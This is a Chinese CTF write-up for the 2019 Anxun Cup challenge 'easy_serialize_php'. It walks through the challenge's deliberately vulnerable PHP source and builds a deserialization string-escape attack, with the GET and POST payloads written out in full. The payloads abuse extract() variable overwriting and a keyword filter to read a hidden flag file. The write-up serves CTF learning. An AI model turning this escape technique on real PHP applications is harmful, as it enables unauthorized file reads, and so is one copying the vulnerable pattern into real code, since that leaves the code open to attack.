[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php

1.点击source_code后可查看源码,一步步审计代码。

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
(filter函数是过滤  其中implode函数的作用是:将$filter_arr这个数组合并为一个字符串,并以|分割开来;)所以最终的句子为 preg_replace(/php|flag|php5|php4|f1lg/i,'',$img);

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

 extract($_POST)就是将post的内容作为这个函数的参数。

 

然后就是变量覆盖。如果post传参为_SESSION[flag]=123,那么$_SESSION["user"]和$_SESSION["function"]的值都会被覆盖。



if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
如果img_path为空就将guest_img.pngbase64加密赋值给$_SESSION['img'],否则就将其本身的值base64加密然后再哈希加密,因此选择将其本身的值放空


$serialize_info filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!

这个是提示
}else if($function == 'show_image'){

如果传入的f值等于show_image执行反序列化(而且有一次base64的解码)
    $userinfo unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

 

2.先看看提示里的phpinfo里有什么 payload:?f=phpinfo

 

 

3.应该就是通过最后的反序列化打开这个文件,get:?f=show_image

 

而后用反序列化逃逸,就是将数组里的名字都替换为空
利用这一点再结合反序列化的特性,少几个就就可以将后面的往前面移来补全

 

 

payload:_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
            ZDBnM19mMWFnLnBocA==是d0g3_f1ag.php进行base64后的值
这段传入后序列化的值为:"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}" ;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
因为preg_replace会将里面的phpflag转化为空
所以就变成了:"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}" ;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
因为s:7:""是不符合的,因此就会往后寻找 s:7:"(";s:48:)"括号里面刚刚好有7位,因此键值7对应的就是";s:48:,这样就符合了
俩个大括号,但是前面的会被闭合,因此第一个大括号右边的值都不用管了,不影响。

传参后发现啥也没有,查看源码发现提示

 

那就把什么的base64编码改成提示文件/d0g3_fllllllag的编码

payload:

get: ?f=show_image

post : _SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

 

 

 

 

 

posted @ 2022-06-27 19:09  L0VEhzzz  阅读(114)  评论(0编辑  收藏  举报